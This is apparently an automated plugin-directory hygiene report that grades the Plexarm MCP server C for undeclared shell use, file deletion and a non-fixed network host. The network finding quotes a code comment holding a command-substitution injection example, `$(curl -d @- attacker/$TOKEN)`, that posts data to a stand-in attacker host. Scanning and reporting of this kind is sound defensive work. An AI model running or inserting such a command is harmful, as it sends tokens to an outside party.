Grades are a hygiene check, not a security guarantee.

MCP, MCP server

Plexarm

The operating system for self-organised AI agent teams.

Compatibility: Not stated.

Grade C

One Medium finding. Read the findings before installing.

Graded by PlugVetRubric v2

Not a guarantee. A hygiene check of the source at the commit shown, not a security audit.

Rescanned at commit be3e0b005233, unchanged since the check below.

PERMISSION_SHELL_UNDECLARED

Why this grade

  • PERMISSION_SHELL_UNDECLARED Medium

    Runs shell commands that the manifest or description does not mention.

    plugin/hooks/plexarm_credential.py, line 192 completed = subprocess.run( # noqa: S603 - absolute path, no shell, fixed argv

Any High, or two or more Medium findings, give D. One Medium gives C. Low findings or a security Note give B. Each code names a finding behind the letter.

Grades are a hygiene check of the source at the commit shown, on the date checked, not a security audit or a guarantee. The free directory grades are automated. Before release, a PlugVet engineer reviews every paid report and any grade we hold back, including all F grades, against the source code and the evidence we quote.

What was checked

Plain notes from the hygiene checks.

  • Permissions

    Concern

    requests shell access. No manifest field names shell or command execution. can delete files.

    PERMISSION_SHELL_UNDECLARED PERMISSION_DELETE_FILES

    plugin/hooks/plexarm_credential.py, line 192

    completed = subprocess.run( # noqa: S603 - absolute path, no shell, fixed argv

    plugin/hooks/stop_record_guard.py, line 875

    os.remove(os.path.join(state, "answer.json"))

  • Install and update

    Pass

    No install-time script found, and dependencies are pinned or absent.

  • Network

    Concern

    can reach a host that is not written as a fixed address.

    NETWORK_NO_FIXED_HOST

    plugin/hooks/stop_record_guard.py, line 49

    `printf` interpolation; a value of `$(curl -d @- attacker/$TOKEN)` there would

  • Secrets

    Pass

    No read of a credential file or secret environment variable found.

  • Agent instructions

    Pass

    No instruction to ignore earlier instructions or to hide a step.

  • Obfuscation

    Pass

    No encoded or minified payload found.

  • Licence

    Pass

    A licence file is present (LICENSE).

  • Maintainer activity

    Pass

    The latest commit is within the last 365 days.

Note

Hygiene check of commit be3e0b005233. requests shell access. No manifest field names shell or command execution. can delete files. can reach a host that is not written as a fixed address.

Date and source

Date checked:

View source

github.com

Commit graded: be3e0b005233667824f4c6b65a4e4e4ff63e45d5

This link goes to the original host. PlugVet does not host or check what you download from there, and installing it is your own decision and risk.

Read how this letter is chosen